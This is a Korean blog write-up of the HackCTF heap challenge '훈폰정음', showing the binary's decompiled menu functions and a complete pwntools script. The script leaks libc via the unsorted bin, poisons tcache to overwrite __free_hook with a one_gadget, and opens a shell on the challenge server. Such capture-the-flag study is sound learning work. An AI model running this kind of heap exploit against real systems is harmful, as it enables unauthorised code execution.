HackCTF - 훈폰정음
2021. 12. 5. 11:25ㆍPwnable
main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
alarm(0x3Cu);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts(asc_11C0);
while ( 1 )
{
menu();
switch ( (unsigned int)off_1214 )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
delete();
break;
case 4u:
check();
break;
case 5u:
exit(0);
return;
default:
puts(&byte_11FB);
break;
}
}
}
add함수
int add()
{
int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth();
v1 = result;
while ( v1 >= 0 && v1 <= 6 )
{
if ( table[v1] )
return puts(&byte_1018);
puts(&byte_1042);
size[v1] = smooth();
if ( (size[v1] & 0x80000000) == 0 && (signed int)size[v1] <= 1024 )
{
table[v1] = malloc((signed int)size[v1]);
if ( !table[v1] )
return puts(&byte_107F);
puts(&byte_1098);
return get_read((void *)table[v1], size[v1]);
}
result = puts(&byte_1060);
}
return result;
}
delete 함수
int delete()
{
int result; // eax
int v1; // eax
signed int v2; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth();
v2 = result;
while ( v2 >= 0 && v2 <= 6 )
{
if ( !table[v2] )
return puts(&byte_1138);
v1 = count--;
if ( v1 )
{
free((void *)table[v2]);
return puts(&byte_1157);
}
result = puts(&byte_1168);
}
return result;
}
adit 함수
int edit()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
puts(&byte_FF6);
result = smooth();
v1 = result;
if ( result >= 0 && result <= 6 )
{
if ( table[result] )
{
puts(&byte_10D8);
if ( (unsigned int)get_read((void *)table[v1], size[v1]) )
result = puts(&byte_1100);
else
result = puts(&byte_1119);
}
else
{
result = puts(&byte_10B8);
}
}
return result;
}
check 함수
int check()
{
int result; // eax
puts(&byte_FF6);
result = smooth();
if ( result >= 0 && result <= 6 )
{
if ( table[result] )
result = printf(&byte_119C, table[result]);
else
result = puts(&byte_1138);
}
return result;
}
위 함수들을 확인해보면 일단 전형적인 heap문제의 구조를 띄고 있다.
malloc, free, edit, show etc...
해당 문제는 처음 접한 tchche문제인데 tcache가 어떻게 돌아가는 메모리 분석을 통해서 조금 상세히 공부할 수 있었다.
해당 문제에서 주의깊게 본 부분은 delete함수였다.
free후 초기화를 진행해주지 않고, 무한하게 free가 가능하므로 이를 이용해서
tcache 를 모두 채운 후 unsortedbin으로 free되게 만들어서 libc_leak을 진행했다.
그리고 malloc_free <-- one_shot로 덮어서 ex를 진행했다.
from pwn import *
#r = process("./hunpwn", env={"LD_PRELOAD":"./libc-2.27.so"})
r = remote("ctf.j0n9hyun.xyz", 3041)
e = ELF("./hunpwn")
l = ELF("./libc-2.27.so")
context.log_level = "debug"
__malloc_hook_offset = l.sym['__malloc_hook']
__free_hook_offset = l.sym['__free_hook']
one_shot_offset = [0x4f2c5, 0x4f322, 0x10a38c]
log.info("__malloc_hook_offset = " + hex(__malloc_hook_offset))
log.info("__free_hook_offset = " + hex(__free_hook_offset))
log.info("one_shot_offset = " + str(one_shot_offset))
def add(index, size, data) :
r.recvuntil(">> ")
r.sendline("1")
r.recvuntil(":\n")
r.sendline(str(index))
r.recvuntil(":\n")
r.sendline(str(size))
r.recvuntil(":\n")
r.sendline(data)
def edit(index, data) :
r.recvuntil(">> ")
r.sendline("2")
r.recvuntil(":\n")
r.sendline(str(index))
r.recvuntil(":\n")
r.sendline(str(data))
def delete(index) :
r.recvuntil(">> ")
r.sendline("3")
r.recvuntil(":\n")
r.sendline(str(index))
def check(index) :
r.recvuntil(">> ")
r.sendline("4")
r.recvuntil(":\n")
r.sendline(str(index))
add(0, 0x400, "AAAA")
add(1, 0x80, "BBBB")
for i in range(8) :
delete(0)
check(0)
#libc_leak
r.recvuntil(":")
__malloc_hook_add = u64(r.recv(6).ljust(8, "\x00"))
libc_base = __malloc_hook_add - __malloc_hook_offset - 0x70
one_gadget = libc_base + one_shot_offset[1]
__free_hook_add = libc_base + __free_hook_offset
log.info("__malloc_hook_add = " + hex(__malloc_hook_add))
log.info("libc_base = " + hex(libc_base))
log.info("one_gadget = " + hex(one_gadget))
log.info("__free_hook_add = " + hex(__free_hook_add))
#free_hook <-- one_shot
add(2, 0x80, "CCCC")
delete(2)
edit(2, p64(__free_hook_add))
add(3, 0x80, "DDDD")
add(4, 0x80, p64(one_gadget))
#excute free_hook
add(5, 0x80, "free_it")
delete(5)
r.interactive()
코드는 위와 같다.
heap익스에 대해서 점점 더 익숙해져가고 있는 것 같다.
'Pwnable' 카테고리의 다른 글
dreamhack.io - string (0) | 2022.02.03 |
---|---|
pwnable.kr - echo1 (0) | 2021.10.21 |
HackCTF - Unexploitable #4 (0) | 2021.10.15 |
dreamhack.io - iofile_aw (0) | 2021.10.06 |
pwnable.xyz - SUS (0) | 2021.09.30 |